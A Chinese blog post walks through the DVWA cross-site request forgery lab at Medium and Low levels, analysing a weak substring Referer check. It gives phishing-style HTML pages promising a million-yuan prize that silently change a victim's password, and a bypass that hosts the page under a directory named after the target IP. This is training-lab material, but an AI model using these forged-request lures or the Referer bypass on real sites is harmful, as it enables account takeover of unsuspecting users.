DVWA-CSRF跨站请求伪造 Medium和Low级别

最新推荐文章于 2023-07-01 22:27:44 发布

盐茶Tea

最新推荐文章于 2023-07-01 22:27:44 发布

阅读量297

点赞数 1

分类专栏： Kali 渗透 Web 安全文章标签： csrf 前端 java

本文链接：https://blog.csdn.net/xmj818719/article/details/123163601

版权

Web 安全同时被 2 个专栏收录

7 篇文章 2 订阅

订阅专栏

Kali 渗透

4 篇文章 1 订阅

订阅专栏

1代码分析

过滤条件

if( stripos( $SERVER[ 'HTTP_REFERER' ] ,$SERVER[ 'SERVER_NAME' ]) !== false )

判断,$SERVER[ 'SERVER_NAME' ]在 $SERVER[ 'HTTP_REFERER' ] 中是否存在,寻找第一次出现的地址

$_SERVER[ ' SERVER_NAME' ] 网站的地址 192.168.0.9

$_SERVER[ 'HTTP_REFERER' ] 请求发起着地址 192.168.0.9（靶场地址）若从黑客构造的钓鱼网站跳转的，显示的是黑客攻击机的地址

2正常构造一个CSRF

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/? 
password_new=123456&password_conf=123456&Change=Change'>点击领取百万大奖</a>
</body>
</html>

WIN10-浏览器访问

BP抓包查看原因

推荐人不符合判断条件，请求被丢弃（在新版浏览器更新了策略，推荐人判断）

3手工增加策略构造攻击请求页面

<html>
<head>
 <!- 设置推荐人策略，防止提交的内容被降级->
<meta name="referrer"  content="no-referrer-when-downgrade">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change'  referrer="no-referrer-when-downgrade">点击这里领取百万大奖</a>
</body>
</html>

可看到，伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到 $_SERVER[ 'SERVER_NAME' ] ，即找不到 192.168.0.9 这个 IP 地址。

4最后在Kali上通过修改网站结构目录构造192.168.0.9结构

┌──(root💀Tea)-[/var/www/html]

└─# mkdir 192.168.0.9

┌─(root💀Tea)-[/var/www/html/192.168.0.9]

└─# pwd /var/www/html/192.168.0.9

referer中已经有了绕过过滤的192.168.0.9，将创建的csrf.html写入目录

┌──(root💀Tea)-[/var/www/html]

└─# cp csrf.html 192.168.0.9/csrf.html

5成功修改密码

6.Low

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change'>点击这里领取百万大奖</a>
</body>
</html>

WIN10点击钓鱼链接被直接修改密码

有帮助到你,就点歌赞吧~~

盐茶Tea

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
DVWA-CSRF跨站请求伪造 Medium和Low级别

1代码分析过滤条件if( stripos( $SERVER[ 'HTTP_REFERER' ] ,$SERVER[ 'SERVER_NAME' ]) !== false )判断,$SERVER[ 'SERVER_NAME' ]在 $SERVER[ 'HTTP_REFERER' ] 中是否存在,寻找第一次出现的地址$_SERVER[ ' SERVER_NAME' ] 网站的地址 192.168.0.9$_SERVER[ 'HTTP_REFERER' ] 请求发起着地址 192.1.
复制链接

扫一扫